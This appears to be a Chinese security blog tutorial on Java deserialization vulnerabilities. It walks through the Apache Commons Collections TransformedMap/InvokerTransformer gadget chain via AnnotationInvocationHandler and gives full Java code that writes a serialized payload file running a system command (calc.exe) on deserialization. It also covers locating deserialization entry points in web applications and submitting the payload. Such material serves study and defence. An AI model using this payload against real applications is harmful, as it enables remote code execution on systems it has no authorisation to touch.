JAVA反序列化漏洞浅析

import java.io.*;
public class User2 implements Serializable{
    private String name;
    public String getName(){
        return name;
    }
    public void setName(String name){
        this.name=name;
    }
    private  void readObject(ObjectInputStream in) throws InterruptedException, IOException, ClassNotFoundException {
        //先调用默认的readObject()方法
        in.defaultReadObject();
 
        //重写，执行系统命令calc.exe
        Process p = Runtime.getRuntime().exec("calc.exe");
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
        p.waitFor();
        if(p.exitValue()!=0){
            //说明执行系统命令失败
        }
        String s = null;
        while((s=reader.readLine())!=null){
            System.out.println(s);
        }
 
    }
}

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

public interface Transformer {
    public Object transform(Object input);
}

当TransformedMap中的任意项的Key或者Value被修改，相应的Transformer的transform()方法就会被调用。除此以外，多个Transformer还能串起来，形成ChainedTransformer。 

Apache Commons Collections中已经实现了一些常见的 Transformer，其中的 InvokerTransformer 接口实现了反射链，可以通过Java的反射机制来执行任意命令。于是我们可以通过InvokerTransformer的反射链获得Runtime类来执行系统命令 

传送门——> InvokerTransformer反射链

在上面的 InvokerTransformer反射链 这篇文章中我已经介绍了如何通过修改Value值来触发执行反射链来执行任意命令。

但是目前的构造还需要依赖于修改Map中的Value值去触发调用反射链，我们需要想办法通过readObject()直接触发。

如果某个可序列化的类重写了readObject()方法，并且在readObject()中对Map类型的变量进行了键值修改操作，并且这个Map参数是可控的，就可以实现我们的攻击目标了。

于是，我们找到了这个类：AnnotationInvocationHandler ，这个类有一个成员变量 memberValues 是Map<String,Object>类型，并且在重写的 readObject() 方法中有 memberValue.setValue() 修改Value的操作。简直是完美！

于是我们可以实例化一个AnnotationInvocationHandler类，将其成员变量memberValues赋值为精心构造的恶意TransformedMap对象。然后将其序列化，提交给未做安全检查的Java应用。Java应用在进行反序列化操作时，执行了readObject()函数，修改了Map的Value，则会触发TransformedMap的变换函数transform()，再通过反射链调用了Runtime.getRuntime.exec("XXX") 命令，最终就可以执行我们的任意代码了，一切是那么的天衣无缝！ 

反序列化漏洞payload

• 反序列化时会执行对象的readObject()方法
• Runtime.getRuntime.exec(“xx”)可以执行系统命令
• InvokerTransformer的transform()方法可以通过反射链调用Runtime.getRuntime.exec(“xx”)函数来执行系统命令
• TransformedMap类的decorate方法用来实例化一个TransformedMap对象，即public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) ，第二个和第三个参数传入一个Transformer，当key值和Value值改变时，会调用Transformer的transformer()方法。于是我们可以将第三个参数传入 InvokerTransformer

Payload构造思路：我们构造恶意的类：AnnotationInvocationHandler，将该类的成员变量memberValues赋值为我们精心构造的TransformedMap对象，并将AnnotationInvocationHandler类进行序列化，然后交给JAVA WEB应用进行反序列化。再进行反序列化时，会执行readObject()方法，该方法会对成员变量TransformedMap的Value值进行修改，该修改触发了TransformedMap实例化时传入的参数InvokerTransformer的transform()方法，InvokerTransformer.transform()方法通过反射链调用Runtime.getRuntime.exec(“xx”)函数来执行系统命令

​

如下代码，我们通过构造恶意的类AnnotationInvocationHandler并将其序列化保存在 payload.bin文件中，只要将它给存在反序列化漏洞的JAVA WEB 应用进行反序列化就能执行我们的命令了。

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class main2 {
	public static void main(String[] args) throws Exception{
		Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
				new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
				new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})};

		Transformer transformedChain = new ChainedTransformer(transformers);  //实例化一个反射链

		Map innerMap = new HashMap();   //实例化一个Map对象
		innerMap.put("value", "value");
		
		Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain); //将Map对象和反射链作为参数传入

		Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  //得到 AnnotationInvocationHandler类的字节码文件
		Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
		ctor.setAccessible(true);
		Object instance = ctor.newInstance(Target.class, outerMap);  //得到我们构造好的 AnnotationInvocationHandler类实例

		FileOutputStream f = new FileOutputStream("payload.bin");
		ObjectOutputStream out = new ObjectOutputStream(f);  //创建一个对象输出流
		out.writeObject(instance);  //将我们构造的 AnnotationInvocationHandler类进行序列化
		out.flush();
		out.close();
	}
}

JAVA Web反序列化漏洞的挖掘和利用 

1：漏洞触发场景

在java编写的web应用与web服务器间通常会发送大量的序列化对象例如以下场景： 　　

• HTTP请求中的参数，cookies以及Parameters。 　　
• RMI协议，被广泛使用的RMI协议完全基于序列化 　　
• JMX 同样用于处理序列化对象 　　
• 自定义协议 用来接收与发送原始的java对象

2：漏洞挖掘 　　

(1)确定反序列化输入点 　

首先应找出readObject方法调用，在找到之后进行下一步的注入操作。一般可以通过以下方法进行查找： 　　　　

1)源码审计：寻找可以利用的“靶点”，即确定调用反序列化函数readObject的调用地点。 　　

2)对该应用进行网络行为抓包，寻找序列化数据，java序列化的数据一般会以标记（ac ed 00 05）开头，base64编码后的特征为rO0AB。 　　

(2)再考察应用的Class Path中是否包含Apache Commons Collections库 　　

(3)生成反序列化的payload 　　

(4)提交我们的payload数据

  如果想跟我一起讨论的话，就快加入我的知识星球吧。星球里有一千多位同样爱好安全技术的小伙伴一起交流！

​

相关文章：JAVA反序列化漏洞复现

参考文章：Java反序列化漏洞从无到有

                  Lib之过？Java反序列化漏洞通用利用分析

                 Java反序列化漏洞分析

                 Commons Collections Java反序列化漏洞深入分析